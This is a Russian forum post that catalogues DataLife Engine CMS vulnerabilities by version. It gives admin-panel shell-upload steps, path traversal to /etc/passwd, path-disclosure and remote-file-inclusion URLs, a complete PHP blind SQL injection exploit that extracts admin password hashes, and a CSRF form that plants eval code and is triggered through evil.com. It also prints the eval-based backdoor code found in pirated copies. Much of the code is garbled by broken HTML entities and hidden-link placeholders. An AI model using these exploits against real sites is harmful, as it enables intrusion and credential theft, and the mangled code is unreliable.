Обзор уязвимостей DLE (DataLife Engine)

Тема в разделе "Движки", создана пользователем Дима22, 14.03.18.Просмотров: 353

  1. Дима22 Новичок

    Дима22

    6 сообщения
    4 симпатий
    0
    розыгрышей
    5 лет с нами
    6 месяцев с нами
    17 дней с нами
    Как узнать установленную версию DLE?

    1. Открываем: site.com/engine/ajax/updates.php
    2. Смотрим установленную версию

    Как залить шелл в DLE v4.1-8.2?

    Итак, заходим в админцентр.
    Далее нажимаем "Другие разделы"
    Выбираем где-то в конце "Архив файлов"
    Идём на "Настройка Архива Файлов"
    Допустимые форматы файлов: дописываем php.
    Сохраняемся, идём в "Добавить файл".
    Заливаем шелл
    Его дальше видно в разделе "Файловый Архив" для всех и в свойствах загруженного файла в редактировании файлов в админке.
    Автор способа: desTiny

    DataLife Engine <= v4.1

    sql-inj
    Уязвимость существует из-за недостаточной обработки входных данных в параметре "user" в сценарии index.php.


    DataLife Engine <= v4.2


    http ://dle.com/engine/ajax/vote.php?vote_action=results&vote_skin=../../../.




    ./../../../../../../../etc/passwd�

    Раскрытие полного установочного пути:
    http ://dle.com/index.php?do=pm&doaction=newpm&user[]=

    DataLife Engine v6.3

    Раскрытие пути:
    dle.com/index.php?catalog[]=

    DataLife Engine v6.7


    Раскрытие пути:

    Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником
    Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником
    Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником (работает не везде)
    Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником
    Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником
    Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником


    DLE v6.7 Online Mod Exploit Blind SQL Injection:
    <?php
    /* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

    /**
    * DataLifeEngine Online Mod Exploit Blind SQL Injection. Found by Maxster
    * Need magic_quotes_gpc off and mysql version higher than 4.0 (on server)
    *
    * Useful: email, password, name
    *
    * PHP versions 4 and 5
    *
    * LICENSE: This source file is subject to version 3.0 of the PHP license
    * that is available through the world-wide-web at the following URI:
    * Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником. If you did not receive a copy of
    * the PHP License and are unable to obtain it through the web, please
    * send a note to [email protected] so we can mail you a copy immediately.
    *
    * @category Exploit
    * @package None
    * @author Eugene Minaev <[email protected]>
    * @copyright 2008 ITDefence.ru
    * @license Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником &nbs
    p;PHP License 3.0
    * @version CVS: $Id:$
    * @link Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником
    * @since File available since Release 0x00
    */
    @set_time_limit(0);
    @ini_set('output_buffer', 0);

    ?>

    <html>

    <head>
    &n
    bsp; <title>DataLifeEngine Online Mod Exploit Blind SQL Injection</title>
    &n
    bsp; <style type="text/css">
    &n
    bsp; body{
    &n
    bsp; &
    ;
    ;
    ;nbs
    p; font-family: Tahoma;
    &n
    bsp; &
    ;
    ;
    ;nbs
    p; font-size: 12px;
    &n
    bsp; &
    ;
    ;
    ;nbs
    p; color: #e1e1e1;
    &n
    bsp; &
    ;
    ;
    ;nbs
    p; background-color: #222;
    &n
    bsp; }
    &n
    bsp; </style>
    </head>

    <body>
    &n
    bsp; <center>
    &n
    bsp; <form method="post" action="<?php echo $_SERVER['SCRIPT_NAME']?>">
    &n
    bsp; dle path:<input type="text" name="server" value="Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником" />
    &n
    bsp; <br/><br/>
    &n
    bsp; admin id: <input type="text" name="userid" value="1" />
    &n
    bsp; <br/><br/>
    &n
    bsp; <input type="submit" />
    &n
    bsp; </form>
    &n
    bsp; </center>
    </body>

    </html>

    <?php
    if (!empty($_POST))
    {
    $_ = create_function('$error', 'die("$error");');
    $userid = isset($_POST['userid']) ? (int) $_POST['userid'] : null;
    $server = isset($_POST['server']) ? $_POST['server'] : null;
    $alphabet = array('a', 'b', 'c', 'd', 'e', 'f', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0');
    $responce = null;
    $password = null;
    $curpos = 1;
    $alppos = 0;
    $flag = false;


    $pathinfo = parse_url($server);
    if (false === is_array($pathinfo) or empty($pathinfo['host'])) {
    &n
    bsp; $_('invalid url');
    } else {
    &n
    bsp; $fsocket = fsockopen($pathinfo['host'], 80) or
    &n
    bsp; $_('hostname is dead');
    &n
    bsp; $request = "GET {$pathinfo['path']} HTTP/1.1rn"
    &n
    bsp; &
    ;
    ;
    ;nbs
    p; . "Host: {$pathinfo['host']}rn"
    &n
    bsp; &
    ;
    ;
    ;nbs
    p; . "Cookie: dle_onl_session='underWHAT?!rnrn";
    &n
    bsp; fwrite($fsocket, $request) or
    &n
    bsp; $_ ('failed to write data to socket');
    &n
    bsp; while ($flag === false){
    &n
    bsp; &
    ;
    ;
    ;nbs
    p; $respo


    nce .= fread($fsocket, 128);
    &n
    bsp; &
    ;
    ;
    ;nbs
    p; $flag = strpos($responce, '</html>') ? true: false;
    &n
    bsp; }
    $flag = false;
    &n
    bsp; if (strpos($responce, 'MySQL Error') > 0){
    &n
    bsp; while (strlen($password) < 32)
    &n
    bsp; {
    &n
    bsp; &
    ;
    ;
    ;nbs
    p; $fsocket = fsockopen($pathinfo['host'], 80) or
    &n
    bsp; &
    ;
    ;
    ;nbs
    p; $_(
    ;
    ;
    ;'hostname is dead');
    &n
    bsp; &
    ;
    ;
    ;nbs
    p; $responce = null;
    &n
    bsp; &
    ;
    ;
    ;nbs
    p; $cookie = "' or 1=if(substring((select password from dle_users where user_id = $userid),$curpos,1)='{$alphabet[$alppos]}',1,(se
    lect

    1 union select 3))/*";
    &n
    bsp; &
    ;
    ;
    ;nbs
    p; $request = "GET {$pathinfo['path']} HTTP/1.1rn"
    &n
    bsp; &
    ;
    ;
    ;nbs
    p;
    . "Host: {$pathinfo['host']}rn"
    &n
    bsp; &
    ;
    ;
    ;nbs
    p;
    . "Connection: closern"
    &n
    bsp; &
    ;
    ;
    ;nbs
    p;
    . "Cookie: dle_onl_session=$cookiernrn";
    &n
    bsp; &
    ;
    ;
    ;nbs
    p; fwrite($fsocket, $request) or
    &n
    bsp; &
    ;
    ;
    ;nbs
    p; $_ ('failed to write data to socket');
    &n
    bsp; &
    ;
    ;
    ;nbs
    p; $responce = fread($fsocket, 8000);
    &n
    bsp; &
    ;
    ;
    ;nbs
    p; if (!strpos($responce, 'returns more than 1 row')){
    &n
    bsp; &
    ;
    ;
    ;nbs
    p; $passw


    ord .= $alphabet[$alppos];
    &n
    bsp; &
    ;
    ;
    ;nbs
    p; $curpo


    s += 1;
    &n
    bsp; &
    ;
    ;
    ;nbs
    p; $alppo


    s = 0;
    &n
    bsp; &
    ;
    ;
    ;nbs
    p; } else {
    &n
    bsp; &
    ;
    ;
    ;nbs
    p; $alppo


    s += 1;
    &n
    bsp; &
    ;
    ;
    ;nbs
    p; }
    &n
    bsp; &
    ;
    ;
    ;nbs
    p; $flag = false;
    &n
    bsp; &
    ;
    ;
    ;nbs
    p; $responce = null;
    &n
    bsp; &
    ;
    ;
    ;nbs
    p; fclose($fsocket);
    &n
    bsp; }
    &n
    bsp; } else {
    die ('<center><h1>not vulnerable</h1></center>');
    }
    &n
    bsp; echo "<center><h1>$password</h1></center>"
    ;;&a
    mp;n
    bsp; &
    ;
    ;
    ;nbs
    p;

    }
    }


    ?>

    XSRF баг:

    site.com/dle/engine/modules/imagepreview.php?image=[XSRF]

    Получение шелла через залогиненного админа:

    <form action="Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником"
    method="post">
    <input name="save_con[test');@eval(trim(stripslashes($l
    ala&
    amp;
    #41;));$config=ar ray('test]" value="test"/>
    <input type=hidden name=action value=dosavesyscon>
    <input type="submit" value="ok"/>
    </form>


    получение:
    http ://evil.com/adm.php?mod=options&action=syscon&lala=phpcode()

    DataLife Engine v8.2

    Отсутствие фильтрации в /engine/init.php
    Уязвимость заключается в отсутствии фильтрации параметра "dle_skin" в файле init.php и позволяет увидеть пути к корню сайта.
    1. Заходим на сайт DLE. Открываем браузером менеджер куки. Изменяем / добавляем параметр, название которого ставим
    dle_skin
    и значение
    ../
    2. Отправляем запрос на сайт:
    GET / HTTP/1.1
    Host: dle-news.ru
    Cookie: dle_skin=../
    Cookie2: $Version=1
    Connection: Close
    3. После этого на сайте видим ошибку:
    Warning: include_once([PATH]): failed to open stream: No such file or directory in [PATH] on line 314
    Warning: include_once(): Failed opening '[PATH]' for inclusion (include_path='.;C:php5pear') in [PATH] on line 314
    Невозможно загрузить шаблон: shortstory.tpl
    [PATH] - это и есть раскрытие путей.
    4. Соображающие люди поймут как сделать из этого LFI.
    Автор: mailbrush

    "Уязвимость" восстановления пароля:
    /index.php?do=lostpassword&douser=1&lostid=
    Получаем пас от пользователя с id 1


    DatalifeEngine 8.2 Remote File Inclusion Vulnerability
    Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником /engine/api/api.class.php?dle_config_api=[shell.txt?]

    DataLife Engine v8.3
    Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником
    8;//localhost/c.txt?
    Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником[langs]=http:/



    /localhost/c.txt?
    Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником[lang_=Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником



    host/c.txt?
    Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником[skin]&a
    mp;a
    mp;a
    mp;#
    93;=Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником
    Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником[skin]&a
    mp;a
    mp;a
    mp;#
    93;=Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником

    Раскрытие путей:
    if ($_COOKIE['dle_skin']) {
    if (@is_dir ( ROOT_DIR . '/templates/' . $_COOKIE['dle_skin'] )) {
    $config['skin'] = $_COOKIE['dle_skin'];
    }
    }

    1. Открываем site.ru/engine/images.php?area=short_story&add_id=
    2. Грузим картинку и получаем раскрытые пути.


    Бэкдор в нулле DLE

    Файл лежит в (/engine/ajax/updates.php). Код бэкдора:

    if($_GET['wert']==''){
    require_once ROOT_DIR.'/language/'.$selected_language.'/adminpanel.lng
    9;;
    $config['charset'] = ($lang['charset'] != '') ? $lang['charset'] : $config['charset'];
    @header("HTTP/1.0 200 OK");
    @header("HTTP/1.1 200 OK");
    @header("Cache-Control: no-cache, must-revalidate, max-age=0");
    @header("Expires: 0");
    @header("Pragma: no-cache");
    @header("Content-type: text/css; charset=".$config['charset']);
    $data = @file_get_contents("Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником
    io
    n_id=".$_REQUEST['versionid']."&key=".
    $config
    1;'key']);
    if (!strlen($data)) echo $lang['no_update']; else echo $data;
    }else{
    $file=(ROOT_DIR."/engine/classes/mysql.class.php");
    if(file_exists($file)){ @require($file); $x.="mysql.class.php - ok<br />";}
    $file=(ROOT_DIR."/engine/data/dbconfig.php");
    if(file_exists($file)){ @require($file); $x.="dbconfig.php - ok<br />";}
    $file=(ROOT_DIR."/engine/data/config.php");
    if(file_exists($file)){ @require($file); $x.="config.php - ok<br />";}
    eval(base64_decode($_GET['user_id']));
    echo <<<HTML
    <HTML><body><form action="" method="post">
    <center><textarea name="text" rows="10" cols="100"></textarea>
    <br /><input type="submit" value="Canoinoaaoe"/></center></form></body&

    #62;
    </HTML>
    HTML;
    if($_POST['text']!=''){eval(stripcsl
    ashes
    0;$_POST['text']));
    }}

    DataLife Engine v8.5


    Бекдор в нулле от M.I.D-Team. Бекдор . eval() через $_POST в uploadengineajaxkeywords.php
    Вызвать его можно так:
    <form name="eval" action="Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником" method="post">
    <input type="text" name="text" value="phpinfo();"><br />
    <input type="submit" name="submit" value="zapros">
    </form>